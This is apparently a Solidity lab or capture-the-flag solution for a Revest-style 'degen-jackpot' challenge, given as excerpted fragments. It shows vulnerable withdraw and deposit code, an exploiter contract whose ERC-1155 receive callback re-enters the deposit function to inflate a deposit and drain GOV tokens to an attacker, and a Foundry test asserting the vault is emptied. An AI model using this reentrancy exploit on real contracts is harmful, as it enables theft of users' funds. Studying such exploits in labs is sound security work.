function withdrawFNFT(uint fnftId, uint quantity) external override revestNonReentrant(fnftId) { address fnftHandler = addressesProvider.getRevestFNFT(); // Check if this many FNFTs exist in the first place for the given ID require(quantity <= IFNFTHandler(fnftHandler).getSupply(fnftId), "E022"); // Check if the user making this call has this many FNFTs to cash in require(quantity <= IFNFTHandler(fnftHandler).getBalance(_msgSender(), fnftId), "E006"); // Check if the user making this call has any FNFT's require(IFNFTHandler(fnftHandler).getBalance(_msgSender(), fnftId) > 0, "E032");
// Whether to split the new deposits into their own series, or to simply add to an existing series uint newFNFTId; if(createNewSeries) { // Split into a new series newFNFTId = IFNFTHandler(handler).getNextId(); ILockManager(lockHandler).pointFNFTToLock(newFNFTId, lockId); burn(_msgSender(), fnftId, quantity); IFNFTHandler(handler).mint(_msgSender(), newFNFTId, quantity, ""); } else { // Stay the same newFNFTId = 0; // Signals to handleMultipleDeposits() }
// Will call updateBalance ITokenVault(vault).depositToken(fnftId, amount, quantity); // Now, we transfer to the token vault if(fnft.asset != address(0)){ IERC20(fnft.asset).safeTransferFrom(_msgSender(), vault, quantity * amount); }
function setTrigger(bool _trigger) external { triggerCallback = _trigger; }
/// @dev Callback during _mint function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external override returns (bytes4) { if (triggerCallback) { // depositAdditionalToFNFT will call mint again, triggering onERC1155Received // we don't want this to happen, so we set triggerCallback to false triggerCallback=false; revest.depositAdditionalToFNFT(1, 1e18, 1); // updates the depositAmount for fnftId=2 to 1e18 revest.withdrawFNFT(2, 100_001); // withdraw 100_001 from fnftId=2 gov.transfer(attacker,gov.balanceOf(address(this))); // send GOV tokens to attacker }
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0;
// utilities import {Test} from "forge-std/Test.sol"; import {console} from "forge-std/console.sol"; // core contracts import {Token} from "src/other/Token.sol"; import {Revest} from "src/degen-jackpot/Revest.sol"; import {LockManager} from "src/degen-jackpot/LockManager.sol"; import {TokenVault} from "src/degen-jackpot/TokenVault.sol"; import {FNFTHandler} from "src/degen-jackpot/FNFTHandler.sol"; import {AddressRegistry} from "src/degen-jackpot/OtherContracts.sol"; import {IRevest} from "src/degen-jackpot/OtherInterfaces.sol";
import {RevestExploiter} from "src/degen-jackpot/RevestExploiter.sol";
contract Testing is Test {
address attacker = makeAddr('attacker'); address o1 = makeAddr('o1'); address o2 = makeAddr('o2'); address admin = makeAddr('admin'); // should not be used address adminUser = makeAddr('adminUser'); // should not be used
/// expected final state function validation() public {
// attacker acquires all GOV tokens that were deposited into the Revest contract assertEq(gov.balanceOf(address(tokenVault)),0); assertEq(gov.balanceOf(attacker),100_001e18);